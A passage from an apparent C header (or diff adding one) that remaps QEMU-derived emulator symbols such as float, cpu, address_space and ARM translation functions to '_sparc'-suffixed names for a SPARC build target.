aa64_generate_debug_exceptions aa64_generate_debug_exceptions_sparc +#define aa64_zva_access aa64_zva_access_sparc +#define aarch64_banked_spsr_index aarch64_banked_spsr_index_sparc +#define aarch64_restore_sp aarch64_restore_sp_sparc +#define aarch64_save_sp aarch64_save_sp_sparc +#define accel_find accel_find_sparc +#define accel_init_machine accel_init_machine_sparc +#define accel_type accel_type_sparc +#define access_with_adjusted_size access_with_adjusted_size_sparc +#define add128 add128_sparc +#define add16_sat add16_sat_sparc +#define add16_usat add16_usat_sparc +#define add192 add192_sparc +#define add8_sat add8_sat_sparc +#define add8_usat add8_usat_sparc +#define add_cpreg_to_hashtable add_cpreg_to_hashtable_sparc +#define add_cpreg_to_list add_cpreg_to_list_sparc +#define addFloat128Sigs addFloat128Sigs_sparc +#define addFloat32Sigs addFloat32Sigs_sparc +#define addFloat64Sigs addFloat64Sigs_sparc +#define addFloatx80Sigs addFloatx80Sigs_sparc +#define add_qemu_ldst_label add_qemu_ldst_label_sparc +#define address_space_access_valid address_space_access_valid_sparc +#define address_space_destroy address_space_destroy_sparc +#define address_space_destroy_dispatch address_space_destroy_dispatch_sparc +#define address_space_get_flatview address_space_get_flatview_sparc +#define address_space_init address_space_init_sparc +#define address_space_init_dispatch address_space_init_dispatch_sparc +#define address_space_lookup_region address_space_lookup_region_sparc +#define address_space_map address_space_map_sparc +#define address_space_read address_space_read_sparc +#define address_space_rw address_space_rw_sparc +#define address_space_translate address_space_translate_sparc +#define address_space_translate_for_iotlb address_space_translate_for_iotlb_sparc +#define address_space_translate_internal address_space_translate_internal_sparc +#define address_space_unmap address_space_unmap_sparc +#define address_space_update_topology address_space_update_topology_sparc +#define address_space_update_topology_pass address_space_update_topology_pass_sparc +#define address_space_write address_space_write_sparc +#define addrrange_contains addrrange_contains_sparc +#define addrrange_end addrrange_end_sparc +#define addrrange_equal addrrange_equal_sparc +#define addrrange_intersection addrrange_intersection_sparc +#define addrrange_intersects addrrange_intersects_sparc +#define addrrange_make addrrange_make_sparc +#define adjust_endianness adjust_endianness_sparc +#define all_helpers all_helpers_sparc +#define alloc_code_gen_buffer alloc_code_gen_buffer_sparc +#define alloc_entry alloc_entry_sparc +#define always_true always_true_sparc +#define arm1026_initfn arm1026_initfn_sparc +#define arm1136_initfn arm1136_initfn_sparc +#define arm1136_r2_initfn arm1136_r2_initfn_sparc +#define arm1176_initfn arm1176_initfn_sparc +#define arm11mpcore_initfn arm11mpcore_initfn_sparc +#define arm926_initfn arm926_initfn_sparc +#define arm946_initfn arm946_initfn_sparc +#define arm_ccnt_enabled arm_ccnt_enabled_sparc +#define arm_cp_read_zero arm_cp_read_zero_sparc +#define arm_cp_reset_ignore arm_cp_reset_ignore_sparc +#define arm_cpu_do_interrupt arm_cpu_do_interrupt_sparc +#define arm_cpu_exec_interrupt arm_cpu_exec_interrupt_sparc +#define arm_cpu_finalizefn arm_cpu_finalizefn_sparc +#define arm_cpu_get_phys_page_debug arm_cpu_get_phys_page_debug_sparc +#define arm_cpu_handle_mmu_fault arm_cpu_handle_mmu_fault_sparc +#define arm_cpu_initfn arm_cpu_initfn_sparc +#define arm_cpu_list arm_cpu_list_sparc +#define cpu_loop_exit cpu_loop_exit_sparc +#define arm_cpu_post_init arm_cpu_post_init_sparc +#define arm_cpu_realizefn arm_cpu_realizefn_sparc +#define arm_cpu_register_gdb_regs_for_features arm_cpu_register_gdb_regs_for_features_sparc +#define arm_cpu_register_types arm_cpu_register_types_sparc +#define cpu_resume_from_signal cpu_resume_from_signal_sparc +#define arm_cpus arm_cpus_sparc +#define arm_cpu_set_pc arm_cpu_set_pc_sparc +#define arm_cp_write_ignore arm_cp_write_ignore_sparc +#define arm_current_el arm_current_el_sparc +#define arm_dc_feature arm_dc_feature_sparc +#define arm_debug_excp_handler arm_debug_excp_handler_sparc +#define arm_debug_target_el arm_debug_target_el_sparc +#define arm_el_is_aa64 arm_el_is_aa64_sparc +#define arm_env_get_cpu arm_env_get_cpu_sparc +#define arm_excp_target_el arm_excp_target_el_sparc +#define arm_excp_unmasked arm_excp_unmasked_sparc +#define arm_feature arm_feature_sparc +#define arm_generate_debug_exceptions arm_generate_debug_exceptions_sparc +#define gen_intermediate_code gen_intermediate_code_sparc +#define gen_intermediate_code_pc gen_intermediate_code_pc_sparc +#define arm_gen_test_cc arm_gen_test_cc_sparc +#define arm_gt_ptimer_cb arm_gt_ptimer_cb_sparc +#define arm_gt_vtimer_cb arm_gt_vtimer_cb_sparc +#define arm_handle_psci_call arm_handle_psci_call_sparc +#define arm_is_psci_call arm_is_psci_call_sparc +#define arm_is_secure arm_is_secure_sparc +#define arm_is_secure_below_el3 arm_is_secure_below_el3_sparc +#define arm_ldl_code arm_ldl_code_sparc +#define arm_lduw_code arm_lduw_code_sparc +#define arm_log_exception arm_log_exception_sparc +#define arm_reg_read arm_reg_read_sparc +#define arm_reg_reset arm_reg_reset_sparc +#define arm_reg_write arm_reg_write_sparc +#define restore_state_to_opc restore_state_to_opc_sparc +#define arm_rmode_to_sf arm_rmode_to_sf_sparc +#define arm_singlestep_active arm_singlestep_active_sparc +#define tlb_fill tlb_fill_sparc +#define tlb_flush tlb_flush_sparc +#define tlb_flush_page tlb_flush_page_sparc +#define tlb_set_page tlb_set_page_sparc +#define arm_translate_init arm_translate_init_sparc +#define arm_v7m_class_init arm_v7m_class_init_sparc +#define arm_v7m_cpu_do_interrupt arm_v7m_cpu_do_interrupt_sparc +#define ats_access ats_access_sparc +#define ats_write ats_write_sparc +#define bad_mode_switch bad_mode_switch_sparc +#define bank_number bank_number_sparc +#define bitmap_zero_extend bitmap_zero_extend_sparc +#define bp_wp_matches bp_wp_matches_sparc +#define breakpoint_invalidate breakpoint_invalidate_sparc +#define build_page_bitmap build_page_bitmap_sparc +#define bus_add_child bus_add_child_sparc +#define bus_class_init bus_class_init_sparc +#define bus_info bus_info_sparc +#define bus_unparent bus_unparent_sparc +#define cache_block_ops_cp_reginfo cache_block_ops_cp_reginfo_sparc +#define cache_dirty_status_cp_reginfo cache_dirty_status_cp_reginfo_sparc +#define cache_test_clean_cp_reginfo cache_test_clean_cp_reginfo_sparc +#define call_recip_estimate call_recip_estimate_sparc +#define can_merge can_merge_sparc +#define capacity_increase capacity_increase_sparc +#define ccsidr_read ccsidr_read_sparc +#define check_ap check_ap_sparc +#define check_breakpoints check_breakpoints_sparc +#define check_watchpoints check_watchpoints_sparc +#define cho cho_sparc +#define clear_bit clear_bit_sparc +#define clz32 clz32_sparc +#define clz64 clz64_sparc +#define cmp_flatrange_addr cmp_flatrange_addr_sparc +#define code_gen_alloc code_gen_alloc_sparc +#define commonNaNToFloat128 commonNaNToFloat128_sparc +#define commonNaNToFloat16 commonNaNToFloat16_sparc +#define commonNaNToFloat32 commonNaNToFloat32_sparc +#define commonNaNToFloat64 commonNaNToFloat64_sparc +#define commonNaNToFloatx80 commonNaNToFloatx80_sparc +#define compute_abs_deadline compute_abs_deadline_sparc +#define cond_name cond_name_sparc +#define configure_accelerator configure_accelerator_sparc +#define container_get container_get_sparc +#define container_info container_info_sparc +#define container_register_types container_register_types_sparc +#define contextidr_write contextidr_write_sparc +#define core_log_global_start core_log_global_start_sparc +#define core_log_global_stop core_log_global_stop_sparc +#define core_memory_listener core_memory_listener_sparc +#define cortexa15_cp_reginfo cortexa15_cp_reginfo_sparc +#define cortex_a15_initfn cortex_a15_initfn_sparc +#define cortexa8_cp_reginfo cortexa8_cp_reginfo_sparc +#define cortex_a8_initfn cortex_a8_initfn_sparc +#define cortexa9_cp_reginfo cortexa9_cp_reginfo_sparc +#define cortex_a9_initfn cortex_a9_initfn_sparc +#define cortex_m3_initfn cortex_m3_initfn_sparc +#define count_cpreg count_cpreg_sparc +#define countLeadingZeros32 countLeadingZeros32_sparc +#define countLeadingZeros64 countLeadingZeros64_sparc +#define cp_access_ok cp_access_ok_sparc +#define cpacr_write cpacr_write_sparc +#define cpreg_field_is_64bit cpreg_field_is_64bit_sparc +#define cp_reginfo cp_reginfo_sparc +#define cpreg_key_compare cpreg_key_compare_sparc +#define cpreg_make_keylist cpreg_make_keylist_sparc +#define cp_reg_reset cp_reg_reset_sparc +#define cpreg_to_kvm_id cpreg_to_kvm_id_sparc +#define cpsr_read cpsr_read_sparc +#define cpsr_write cpsr_write_sparc +#define cptype_valid cptype_valid_sparc +#define cpu_abort cpu_abort_sparc +#define cpu_arm_exec cpu_arm_exec_sparc +#define cpu_arm_gen_code cpu_arm_gen_code_sparc +#define cpu_arm_init cpu_arm_init_sparc +#define cpu_breakpoint_insert cpu_breakpoint_insert_sparc +#define cpu_breakpoint_remove cpu_breakpoint_remove_sparc +#define cpu_breakpoint_remove_all cpu_breakpoint_remove_all_sparc +#define cpu_breakpoint_remove_by_ref cpu_breakpoint_remove_by_ref_sparc +#define cpu_can_do_io cpu_can_do_io_sparc +#define cpu_can_run cpu_can_run_sparc +#define cpu_class_init cpu_class_init_sparc +#define cpu_common_class_by_name cpu_common_class_by_name_sparc +#define cpu_common_exec_interrupt cpu_common_exec_interrupt_sparc +#define cpu_common_get_arch_id cpu_common_get_arch_id_sparc +#define cpu_common_get_memory_mapping cpu_common_get_memory_mapping_sparc +#define cpu_common_get_paging_enabled cpu_common_get_paging_enabled_sparc +#define cpu_common_has_work cpu_common_has_work_sparc +#define cpu_common_initfn cpu_common_initfn_sparc +#define cpu_common_noop cpu_common_noop_sparc +#define cpu_common_parse_features cpu_common_parse_features_sparc +#define cpu_common_realizefn cpu_common_realizefn_sparc +#define cpu_common_reset cpu_common_reset_sparc +#define cpu_dump_statistics cpu_dump_statistics_sparc +#define cpu_exec_init cpu_exec_init_sparc +#define cpu_flush_icache_range cpu_flush_icache_range_sparc +#define cpu_gen_init cpu_gen_init_sparc +#define cpu_get_clock cpu_get_clock_sparc +#define cpu_get_real_ticks cpu_get_real_ticks_sparc +#define cpu_get_tb_cpu_state cpu_get_tb_cpu_state_sparc +#define cpu_handle_debug_exception cpu_handle_debug_exception_sparc +#define cpu_handle_guest_debug cpu_handle_guest_debug_sparc +#define cpu_inb cpu_inb_sparc +#define cpu_inl cpu_inl_sparc +#define cpu_interrupt cpu_interrupt_sparc +#define cpu_interrupt_handler cpu_interrupt_handler_sparc +#define cpu_inw cpu_inw_sparc +#define cpu_io_recompile cpu_io_recompile_sparc +#define cpu_is_stopped cpu_is_stopped_sparc +#define cpu_ldl_code cpu_ldl_code_sparc +#define cpu_ldub_code cpu_ldub_code_sparc +#define cpu_lduw_code cpu_lduw_code_sparc +#define cpu_memory_rw_debug cpu_memory_rw_debug_sparc +#define cpu_mmu_index cpu_mmu_index_sparc +#define cpu_outb cpu_outb_sparc +#define cpu_outl cpu_outl_sparc +#define cpu_outw cpu_outw_sparc +#define cpu_physical_memory_clear_dirty_range cpu_physical_memory_clear_dirty_range_sparc +#define cpu_physical_memory_get_clean cpu_physical_memory_get_clean_sparc +#define cpu_physical_memory_get_dirty cpu_physical_memory_get_dirty_sparc +#define cpu_physical_memory_get_dirty_flag cpu_physical_memory_get_dirty_flag_sparc +#define cpu_physical_memory_is_clean cpu_physical_memory_is_clean_sparc +#define cpu_physical_memory_is_io cpu_physical_memory_is_io_sparc +#define cpu_physical_memory_map cpu_physical_memory_map_sparc +#define cpu_physical_memory_range_includes_clean cpu_physical_memory_range_includes_clean_sparc +#define cpu_physical_memory_reset_dirty cpu_physical_memory_reset_dirty_sparc +#define cpu_physical_memory_rw cpu_physical_memory_rw_sparc +#define cpu_physical_memory_set_dirty_flag cpu_physical_memory_set_dirty_flag_sparc +#define cpu_physical_memory_set_dirty_range cpu_physical_memory_set_dirty_range_sparc +#define cpu_physical_memory_unmap cpu_physical_memory_unmap_sparc +#define cpu_physical_memory_write_rom cpu_physical_memory_write_rom_sparc +#define cpu_physical_memory_write_rom_internal cpu_physical_memory_write_rom_internal_sparc +#define cpu_register cpu_register_sparc +#define cpu_register_types cpu_register_types_sparc +#define cpu_restore_state cpu_restore_state_sparc +#define cpu_restore_state_from_tb cpu_restore_state_from_tb_sparc +#define cpu_single_step cpu_single_step_sparc +#define cpu_tb_exec cpu_tb_exec_sparc +#define cpu_tlb_reset_dirty_all cpu_tlb_reset_dirty_all_sparc +#define cpu_to_be64 cpu_to_be64_sparc +#define cpu_to_le32 cpu_to_le32_sparc +#define cpu_to_le64 cpu_to_le64_sparc +#define cpu_type_info cpu_type_info_sparc +#define cpu_unassigned_access cpu_unassigned_access_sparc +#define cpu_watchpoint_address_matches cpu_watchpoint_address_matches_sparc +#define cpu_watchpoint_insert cpu_watchpoint_insert_sparc +#define cpu_watchpoint_remove cpu_watchpoint_remove_sparc +#define cpu_watchpoint_remove_all cpu_watchpoint_remove_all_sparc +#define cpu_watchpoint_remove_by_ref cpu_watchpoint_remove_by_ref_sparc +#define crc32c_table crc32c_table_sparc +#define create_new_memory_mapping create_new_memory_mapping_sparc +#define csselr_write csselr_write_sparc +#define cto32 cto32_sparc +#define ctr_el0_access ctr_el0_access_sparc +#define ctz32 ctz32_sparc +#define ctz64 ctz64_sparc +#define dacr_write dacr_write_sparc +#define dbgbcr_write dbgbcr_write_sparc +#define dbgbvr_write dbgbvr_write_sparc +#define dbgwcr_write dbgwcr_write_sparc +#define dbgwvr_write dbgwvr_write_sparc +#define debug_cp_reginfo debug_cp_reginfo_sparc +#define debug_frame debug_frame_sparc +#define debug_lpae_cp_reginfo debug_lpae_cp_reginfo_sparc +#define define_arm_cp_regs define_arm_cp_regs_sparc +#define define_arm_cp_regs_with_opaque define_arm_cp_regs_with_opaque_sparc +#define define_debug_regs define_debug_regs_sparc +#define define_one_arm_cp_reg define_one_arm_cp_reg_sparc +#define define_one_arm_cp_reg_with_opaque define_one_arm_cp_reg_with_opaque_sparc +#define deposit32 deposit32_sparc +#define deposit64 deposit64_sparc +#define deregister_tm_clones deregister_tm_clones_sparc +#define device_class_base_init device_class_base_init_sparc +#define device_class_init device_class_init_sparc +#define device_finalize device_finalize_sparc +#define device_get_realized device_get_realized_sparc +#define device_initfn device_initfn_sparc +#define device_post_init device_post_init_sparc +#define device_reset device_reset_sparc +#define device_set_realized device_set_realized_sparc +#define device_type_info device_type_info_sparc +#define disas_arm_insn disas_arm_insn_sparc +#define disas_coproc_insn disas_coproc_insn_sparc +#define disas_dsp_insn disas_dsp_insn_sparc +#define disas_iwmmxt_insn disas_iwmmxt_insn_sparc +#define disas_neon_data_insn disas_neon_data_insn_sparc +#define disas_neon_ls_insn disas_neon_ls_insn_sparc +#define disas_thumb2_insn disas_thumb2_insn_sparc +#define disas_thumb_insn disas_thumb_insn_sparc +#define disas_vfp_insn disas_vfp_insn_sparc +#define disas_vfp_v8_insn disas_vfp_v8_insn_sparc +#define do_arm_semihosting do_arm_semihosting_sparc +#define do_clz16 do_clz16_sparc +#define do_clz8 do_clz8_sparc +#define do_constant_folding do_constant_folding_sparc +#define do_constant_folding_2 do_constant_folding_2_sparc +#define do_constant_folding_cond do_constant_folding_cond_sparc +#define do_constant_folding_cond2 do_constant_folding_cond2_sparc +#define do_constant_folding_cond_32 do_constant_folding_cond_32_sparc +#define do_constant_folding_cond_64 do_constant_folding_cond_64_sparc +#define do_constant_folding_cond_eq do_constant_folding_cond_eq_sparc +#define do_fcvt_f16_to_f32 do_fcvt_f16_to_f32_sparc +#define do_fcvt_f32_to_f16 do_fcvt_f32_to_f16_sparc +#define do_ssat do_ssat_sparc +#define do_usad do_usad_sparc +#define do_usat do_usat_sparc +#define do_v7m_exception_exit do_v7m_exception_exit_sparc +#define dummy_c15_cp_reginfo dummy_c15_cp_reginfo_sparc +#define dummy_func dummy_func_sparc +#define dummy_section dummy_section_sparc +#define _DYNAMIC _DYNAMIC_sparc +#define _edata _edata_sparc +#define _end _end_sparc +#define end_list end_list_sparc +#define eq128 eq128_sparc +#define ErrorClass_lookup ErrorClass_lookup_sparc +#define error_copy error_copy_sparc +#define error_exit error_exit_sparc +#define error_get_class error_get_class_sparc +#define error_get_pretty error_get_pretty_sparc +#define error_setg_file_open error_setg_file_open_sparc +#define estimateDiv128To64 estimateDiv128To64_sparc +#define estimateSqrt32 estimateSqrt32_sparc +#define excnames excnames_sparc +#define excp_is_internal excp_is_internal_sparc +#define extended_addresses_enabled extended_addresses_enabled_sparc +#define extended_mpu_ap_bits extended_mpu_ap_bits_sparc +#define extract32 extract32_sparc +#define extract64 extract64_sparc +#define extractFloat128Exp extractFloat128Exp_sparc +#define extractFloat128Frac0 extractFloat128Frac0_sparc +#define extractFloat128Frac1 extractFloat128Frac1_sparc +#define extractFloat128Sign extractFloat128Sign_sparc +#define extractFloat16Exp extractFloat16Exp_sparc +#define extractFloat16Frac extractFloat16Frac_sparc +#define extractFloat16Sign extractFloat16Sign_sparc +#define extractFloat32Exp extractFloat32Exp_sparc +#define extractFloat32Frac extractFloat32Frac_sparc +#define extractFloat32Sign extractFloat32Sign_sparc +#define extractFloat64Exp extractFloat64Exp_sparc +#define extractFloat64Frac extractFloat64Frac_sparc +#define extractFloat64Sign extractFloat64Sign_sparc +#define extractFloatx80Exp extractFloatx80Exp_sparc +#define extractFloatx80Frac extractFloatx80Frac_sparc +#define extractFloatx80Sign extractFloatx80Sign_sparc +#define fcse_write fcse_write_sparc +#define find_better_copy find_better_copy_sparc +#define find_default_machine find_default_machine_sparc +#define find_desc_by_name find_desc_by_name_sparc +#define find_first_bit find_first_bit_sparc +#define find_paging_enabled_cpu find_paging_enabled_cpu_sparc +#define find_ram_block find_ram_block_sparc +#define find_ram_offset find_ram_offset_sparc +#define find_string find_string_sparc +#define find_type find_type_sparc +#define _fini _fini_sparc +#define flatrange_equal flatrange_equal_sparc +#define flatview_destroy flatview_destroy_sparc +#define flatview_init flatview_init_sparc +#define flatview_insert flatview_insert_sparc +#define flatview_lookup flatview_lookup_sparc +#define flatview_ref flatview_ref_sparc +#define flatview_simplify flatview_simplify_sparc +#define flatview_unref flatview_unref_sparc +#define float128_add float128_add_sparc +#define float128_compare float128_compare_sparc +#define float128_compare_internal float128_compare_internal_sparc +#define float128_compare_quiet float128_compare_quiet_sparc +#define float128_default_nan float128_default_nan_sparc +#define float128_div float128_div_sparc +#define float128_eq float128_eq_sparc +#define float128_eq_quiet float128_eq_quiet_sparc +#define float128_is_quiet_nan float128_is_quiet_nan_sparc +#define float128_is_signaling_nan float128_is_signaling_nan_sparc +#define float128_le float128_le_sparc +#define float128_le_quiet float128_le_quiet_sparc +#define float128_lt float128_lt_sparc +#define float128_lt_quiet float128_lt_quiet_sparc +#define float128_maybe_silence_nan float128_maybe_silence_nan_sparc +#define float128_mul float128_mul_sparc +#define float128_rem float128_rem_sparc +#define float128_round_to_int float128_round_to_int_sparc +#define float128_scalbn float128_scalbn_sparc +#define float128_sqrt float128_sqrt_sparc +#define float128_sub float128_sub_sparc +#define float128ToCommonNaN float128ToCommonNaN_sparc +#define float128_to_float32 float128_to_float32_sparc +#define float128_to_float64 float128_to_float64_sparc +#define float128_to_floatx80 float128_to_floatx80_sparc +#define float128_to_int32 float128_to_int32_sparc +#define float128_to_int32_round_to_zero float128_to_int32_round_to_zero_sparc +#define float128_to_int64 float128_to_int64_sparc +#define float128_to_int64_round_to_zero float128_to_int64_round_to_zero_sparc +#define float128_unordered float128_unordered_sparc +#define float128_unordered_quiet float128_unordered_quiet_sparc +#define float16_default_nan float16_default_nan_sparc +#define float16_is_quiet_nan float16_is_quiet_nan_sparc +#define float16_is_signaling_nan float16_is_signaling_nan_sparc +#define float16_maybe_silence_nan float16_maybe_silence_nan_sparc +#define float16ToCommonNaN float16ToCommonNaN_sparc +#define float16_to_float32 float16_to_float32_sparc +#define float16_to_float64 float16_to_float64_sparc +#define float32_abs float32_abs_sparc +#define float32_add float32_add_sparc +#define float32_chs float32_chs_sparc +#define float32_compare float32_compare_sparc +#define float32_compare_internal float32_compare_internal_sparc +#define float32_compare_quiet float32_compare_quiet_sparc +#define float32_default_nan float32_default_nan_sparc +#define float32_div float32_div_sparc +#define float32_eq float32_eq_sparc +#define float32_eq_quiet float32_eq_quiet_sparc +#define float32_exp2 float32_exp2_sparc +#define float32_exp2_coefficients float32_exp2_coefficients_sparc +#define float32_is_any_nan float32_is_any_nan_sparc +#define float32_is_infinity float32_is_infinity_sparc +#define float32_is_neg float32_is_neg_sparc +#define float32_is_quiet_nan float32_is_quiet_nan_sparc +#define float32_is_signaling_nan float32_is_signaling_nan_sparc +#define float32_is_zero float32_is_zero_sparc +#define float32_is_zero_or_denormal float32_is_zero_or_denormal_sparc +#define float32_le float32_le_sparc +#define float32_le_quiet float32_le_quiet_sparc +#define float32_log2 float32_log2_sparc +#define float32_lt float32_lt_sparc +#define float32_lt_quiet float32_lt_quiet_sparc +#define float32_max float32_max_sparc +#define float32_maxnum float32_maxnum_sparc +#define float32_maxnummag float32_maxnummag_sparc +#define float32_maybe_silence_nan float32_maybe_silence_nan_sparc +#define float32_min float32_min_sparc +#define float32_minmax float32_minmax_sparc +#define float32_minnum float32_minnum_sparc +#define float32_minnummag float32_minnummag_sparc +#define float32_mul float32_mul_sparc +#define float32_muladd float32_muladd_sparc +#define float32_rem float32_rem_sparc +#define float32_round_to_int float32_round_to_int_sparc +#define float32_scalbn float32_scalbn_sparc +#define float32_set_sign float32_set_sign_sparc +#define float32_sqrt float32_sqrt_sparc +#define float32_squash_input_denormal float32_squash_input_denormal_sparc +#define float32_sub float32_sub_sparc +#define float32ToCommonNaN float32ToCommonNaN_sparc +#define float32_to_float128 float32_to_float128_sparc +#define float32_to_float16 float32_to_float16_sparc +#define float32_to_float64 float32_to_float64_sparc +#define float32_to_floatx80 float32_to_floatx80_sparc +#define float32_to_int16 float32_to_int16_sparc +#define float32_to_int16_round_to_zero float32_to_int16_round_to_zero_sparc +#define float32_to_int32 float32_to_int32_sparc +#define float32_to_int32_round_to_zero float32_to_int32_round_to_zero_sparc +#define float32_to_int64 float32_to_int64_sparc +#define float32_to_int64_round_to_zero float32_to_int64_round_to_zero_sparc +#define float32_to_uint16 float32_to_uint16_sparc +#define float32_to_uint16_round_to_zero float32_to_uint16_round_to_zero_sparc +#define float32_to_uint32 float32_to_uint32_sparc +#define float32_to_uint32_round_to_zero float32_to_uint32_round_to_zero_sparc +#define float32_to_uint64 float32_to_uint64_sparc +#define float32_to_uint64_round_to_zero float32_to_uint64_round_to_zero_sparc +#define float32_unordered float32_unordered_sparc +#define float32_unordered_quiet float32_unordered_quiet_sparc +#define float64_abs float64_abs_sparc +#define float64_add float64_add_sparc +#define float64_chs float64_chs_sparc +#define float64_compare float64_compare_sparc +#define float64_compare_internal float64_compare_internal_sparc +#define float64_compare_quiet float64_compare_quiet_sparc +#define float64_default_nan float64_default_nan_sparc +#define float64_div float64_div_sparc +#define float64_eq float64_eq_sparc +#define float64_eq_quiet float64_eq_quiet_sparc +#define float64_is_any_nan float64_is_any_nan_sparc +#define float64_is_infinity float64_is_infinity_sparc +#define float64_is_neg float64_is_neg_sparc +#define float64_is_quiet_nan float64_is_quiet_nan_sparc +#define float64_is_signaling_nan float64_is_signaling_nan_sparc +#define float64_is_zero float64_is_zero_sparc +#define float64_le float64_le_sparc +#define float64_le_quiet float64_le_quiet_sparc +#define float64_log2 float64_log2_sparc +#define float64_lt float64_lt_sparc +#define float64_lt_quiet float64_lt_quiet_sparc +#define float64_max float64_max_sparc +#define float64_maxnum float64_maxnum_sparc +#define float64_maxnummag float64_maxnummag_sparc +#define float64_maybe_silence_nan float64_maybe_silence_nan_sparc +#define float64_min float64_min_sparc +#define float64_minmax float64_minmax_sparc +#define float64_minnum float64_minnum_sparc +#define float64_minnummag float64_minnummag_sparc +#define float64_mul float64_mul_sparc +#define float64_muladd float64_muladd_sparc +#define float64_rem float64_rem_sparc +#define float64_round_to_int float64_round_to_int_sparc +#define float64_scalbn float64_scalbn_sparc +#define float64_set_sign float64_set_sign_sparc +#define float64_sqrt float64_sqrt_sparc +#define float64_squash_input_denormal float64_squash_input_denormal_sparc +#define float64_sub float64_sub_sparc +#define float64ToCommonNaN float64ToCommonNaN_sparc +#define float64_to_float128 float64_to_float128_sparc +#define float64_to_float16 float64_to_float16_sparc +#define float64_to_float32 float64_to_float32_sparc +#define float64_to_floatx80 float64_to_floatx80_sparc +#define float64_to_int16 float64_to_int16_sparc +#define float64_to_int16_round_to_zero float64_to_int16_round_to_zero_sparc +#define float64_to_int32 float64_to_int32_sparc +#define float64_to_int32_round_to_zero float64_to_int32_round_to_zero_sparc +#define float64_to_int64 float64_to_int64_sparc +#define float64_to_int64_round_to_zero float64_to_int64_round_to_zero_sparc +#define float64_to_uint16 float64_to_uint16_sparc +#define float64_to_uint16_round_to_zero float64_to_uint16_round_to_zero_sparc +#define float64_to_uint32 float64_to_uint32_sparc +#define float64_to_uint32_round_to_zero float64_to_uint32_round_to_zero_sparc +#define float64_to_uint64 float64_to_uint64_sparc +#define float64_to_uint64_round_to_zero float64_to_uint64_round_to_zero_sparc +#define float64_trunc_to_int float64_trunc_to_int_sparc +#define float64_unordered float64_unordered_sparc +#define float64_unordered_quiet float64_unordered_quiet_sparc +#define float_raise float_raise_sparc +#define floatx80_add floatx80_add_sparc +#define floatx80_compare floatx80_compare_sparc +#define floatx80_compare_internal floatx80_compare_internal_sparc +#define floatx80_compare_quiet floatx80_compare_quiet_sparc +#define floatx80_default_nan floatx80_default_nan_sparc +#define floatx80_div floatx80_div_sparc +#define floatx80_eq floatx80_eq_sparc +#define floatx80_eq_quiet floatx80_eq_quiet_sparc +#define floatx80_is_quiet_nan floatx80_is_quiet_nan_sparc +#define floatx80_is_signaling_nan floatx80_is_signaling_nan_sparc +#define floatx80_le floatx80_le_sparc +#define floatx80_le_quiet floatx80_le_quiet_sparc +#define floatx80_lt floatx80_lt_sparc +#define floatx80_lt_quiet floatx80_lt_quiet_sparc +#define floatx80_maybe_silence_nan floatx80_maybe_silence_nan_sparc +#define floatx80_mul floatx80_mul_sparc +#define floatx80_rem floatx80_rem_sparc +#define floatx80_round_to_int floatx80_round_to_int_sparc +#define floatx80_scalbn floatx80_scalbn_sparc +#define floatx80_sqrt floatx80_sqrt_sparc +#define floatx80_sub floatx80_sub_sparc +#define floatx80ToCommonNaN floatx80ToCommonNaN_sparc +#define floatx80_to_float128 floatx80_to_float128_sparc +#define floatx80_to_float32 floatx80_to_float32_sparc +#define floatx80_to_float64 floatx80_to_float64_sparc +#define floatx80_to_int32 floatx80_to_int32_sparc +#define floatx80_to_int32_round_to_zero floatx80_to_int32_round_to_zero_sparc +#define floatx80_to_int64 floatx80_to_int64_sparc +#define floatx80_to_int64_round_to_zero floatx80_to_int64_round_to_zero_sparc +#define floatx80_unordered floatx80_unordered_sparc +#define floatx80_unordered_quiet floatx80_unordered_quiet_sparc +#define flush_icache_range flush_icache_range_sparc +#define format_string format_string_sparc +#define fp_decode_rm fp_decode_rm_sparc +#define frame_dummy frame_dummy_sparc +#define free_range free_range_sparc +#define fstat64 fstat64_sparc +#define futex_wait futex_wait_sparc +#define futex_wake futex_wake_sparc +#define gen_aa32_ld16s gen_aa32_ld16s_sparc +#define gen_aa32_ld16u gen_aa32_ld16u_sparc +#define gen_aa32_ld32u gen_aa32_ld32u_sparc +#define gen_aa32_ld64 gen_aa32_ld64_sparc +#define gen_aa32_ld8s gen_aa32_ld8s_sparc +#define gen_aa32_ld8u gen_aa32_ld8u_sparc +#define gen_aa32_st16 gen_aa32_st16_sparc +#define gen_aa32_st32 gen_aa32_st32_sparc +#define gen_aa32_st64 gen_aa32_st64_sparc +#define gen_aa32_st8 gen_aa32_st8_sparc +#define gen_adc gen_adc_sparc +#define gen_adc_CC gen_adc_CC_sparc +#define gen_add16 gen_add16_sparc +#define gen_add_carry gen_add_carry_sparc +#define gen_add_CC gen_add_CC_sparc +#define gen_add_datah_offset gen_add_datah_offset_sparc +#define gen_add_data_offset gen_add_data_offset_sparc +#define gen_addq gen_addq_sparc +#define gen_addq_lo gen_addq_lo_sparc +#define gen_addq_msw gen_addq_msw_sparc +#define gen_arm_parallel_addsub gen_arm_parallel_addsub_sparc +#define gen_arm_shift_im gen_arm_shift_im_sparc +#define gen_arm_shift_reg gen_arm_shift_reg_sparc +#define gen_bx gen_bx_sparc +#define gen_bx_im gen_bx_im_sparc +#define gen_clrex gen_clrex_sparc +#define generate_memory_topology generate_memory_topology_sparc +#define generic_timer_cp_reginfo generic_timer_cp_reginfo_sparc +#define gen_exception gen_exception_sparc +#define gen_exception_insn gen_exception_insn_sparc +#define gen_exception_internal gen_exception_internal_sparc +#define gen_exception_internal_insn gen_exception_internal_insn_sparc +#define gen_exception_return gen_exception_return_sparc +#define gen_goto_tb gen_goto_tb_sparc +#define gen_helper_access_check_cp_reg gen_helper_access_check_cp_reg_sparc +#define gen_helper_add_saturate gen_helper_add_saturate_sparc +#define gen_helper_add_setq gen_helper_add_setq_sparc +#define gen_helper_clear_pstate_ss gen_helper_clear_pstate_ss_sparc +#define gen_helper_clz32 gen_helper_clz32_sparc +#define gen_helper_clz64 gen_helper_clz64_sparc +#define gen_helper_clz_arm gen_helper_clz_arm_sparc +#define gen_helper_cpsr_read gen_helper_cpsr_read_sparc +#define gen_helper_cpsr_write gen_helper_cpsr_write_sparc +#define gen_helper_crc32_arm gen_helper_crc32_arm_sparc +#define gen_helper_crc32c gen_helper_crc32c_sparc +#define gen_helper_crypto_aese gen_helper_crypto_aese_sparc +#define gen_helper_crypto_aesmc gen_helper_crypto_aesmc_sparc +#define gen_helper_crypto_sha1_3reg gen_helper_crypto_sha1_3reg_sparc +#define gen_helper_crypto_sha1h gen_helper_crypto_sha1h_sparc +#define gen_helper_crypto_sha1su1 gen_helper_crypto_sha1su1_sparc +#define gen_helper_crypto_sha256h gen_helper_crypto_sha256h_sparc +#define 